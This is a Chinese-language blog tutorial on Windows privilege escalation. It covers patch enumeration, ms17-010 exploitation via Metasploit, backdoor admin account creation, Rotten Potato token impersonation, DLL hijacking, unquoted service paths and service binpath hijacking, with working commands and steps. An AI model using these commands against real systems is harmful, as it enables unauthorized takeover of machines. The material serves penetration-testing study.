windows权限提升

0x00 内核漏洞

00 信息收集

1、ipconfig  查看系统网络配置

2、systeminfo  查看系统信息,包括打补丁情况,系统版本等等

3、tasklist /v    查看系统进程

4、netstat –ano    查看端口列表

......

01 漏洞利用

1、根据所得服务器版本和补丁情况搜索存在的漏洞

工具地址:PEASS-ng/winPEAS/winPEASbat at master ·卡洛斯波洛普/皮阿斯-吴 (github.com)

例如:ms17-010可以通过msf搜索相应的漏洞模块进行漏洞利用

2、ms17-010漏洞利用成功后,创建管理员用户

net user biu 1234 /add                创建 biu / 1234 用户

net localgroup administrators biu /add    将biu用户加入到管理员组

0x01  利用脚本扫描

00 vulmap

powershell脚本,运行ps1文件,可以查询到漏洞(误报较多)

地址:vulmon/Vulmap: Vulmap Online Local Vulnerability Scanners Project (github.com)

01 Wesng

根据systeminfo的信息发现漏洞

地址:bitsadmin/wesng: Windows Exploit Suggester - Next Generation (github.com) 

 02 WindowsVulnScan

执行ps1文件收集systeminfo信息,查询CVE与KB对应的关系

地址:chroblert/WindowsVulnScan (github.com)

0x02 烂土豆提权(配合令牌窃取)

00 原理

1、欺骗 “NT AUTHORITY\SYSTEM”账户通过NTLM认证到我们控制的TCP终端。

2、对这个认证过程使用中间人攻击(NTLM重放),为“NT AUTHORITY\SYSTEM”账户本地协商一个安全令牌。这个过程是通过一系列的Windows API调用实现的。

3、模仿这个令牌。只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌。一般大多数的服务型账户(IIS、MSSQL等)有这个权限,大多数用户级的账户没有这个权限。

tips:使用用户反弹shell时执行exp会失败,因为用户级的账户没有这个权限;使用蚁剑等工具执行exp可以成功,因为蚁剑的shell权限为IIS服务器权限。即非服务类的用户权限无法窃取令牌成功。

01 过程步骤

1、获得webshell,反弹shell到msf

2、上传烂土豆,msf执行命令

cd c:\\    #烂土豆路径
execute -cH -f ./potato.exe
use incognito     # 进入incognito
list tokens -u    # 列出今牌
impersonate token 'NT AUTHORITY\SYSTEM'    #令牌假冒材SYSTEM

0x03 DLL劫持

前提:要得到服务器有第三方软件的进程信息,知道调用哪个dll文件(复杂鸡肋)

00 原理

Windows程序启动的时候需要DLL。如果这些DLL不存在,则可以通过在应用程序要查找的位置放置恶意DLL来提权。

windows程序一般会按如下顺序进行搜索DLL文件:

1.应用程序加载的目录

2.C:\Windows\System32

3.C:\Windows\System

4.C:\Windows

5.当前工作目录Current Working Directory,CWD

6.在PATH环境变量的目录(先系统后用户)

01 过程步骤

1、获得webshell,收集第三方程序信息

2、找到第三方程序调用的DLL文件并且找到可替换的DLL文件

3、msf生成DLL后门文件上传到服务器,修改名字为程序调用的DLL文件,配合令牌窃取

"msf执行命令"
use incognito     # 进入incognito
list tokens -u    # 列出今牌
impersonate token 'NT AUTHORITY\SYSTEM'    #令牌假冒材SYSTEM

0x04 不带引号服务路径配合

00 原理

当windows服务启动时,会出现2种情况。如果完整给出了可执行程序的路径并引用,则系统就会解析它并执行;但是如果服务的二进制文件未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例。

如:可执行文件路径为"C:\Program Files\biu.exe",则操作系统会正确执行;如果可执行文件路径为C:\Program Files\biu.exe未包含在引号中,则会执行C:\Program,而空格后将作为参数。

01 过程步骤

1、执行命令,找到未被引号包含且有空格的服务路径

wmic service get name,displayname,pathname,startmode |findstr /i 'Auto' |findstr /i /v 'C:\Windows\\' |findstr /i /v '''

2、如查询到路径    C:\Program Files\biu.exe,msf制作后门命名为Program.exe上传到C:\

3、启动该服务        sc start '服务名',反弹shell到msf

tips:webshell无法启动服务,所以该方法多用于本地提权

0x05 不安全的服务权限

即使正确的引用了服务路径,由于管理配置错误,导致用户可能对服务有过多的权限。

例如,可以直接修改它导致重定向执行文件。

00 过程步骤

1、使用accesschk工具执行命令查找用户可操作的服务

accesschk.exe -uwcqv '用户组' *

2、msf制作后门biu.exe并监听,上传后门文件到C:\

3、修改查询到的服务路径(如IISADMIN服务)到后门文件路径,并启动服务,msf反弹shell

sc config '服务名' binpath='C:\biu.exe' #修改路径
sc start '服务名'    #启动服务

你可能感兴趣的:(安全,web安全)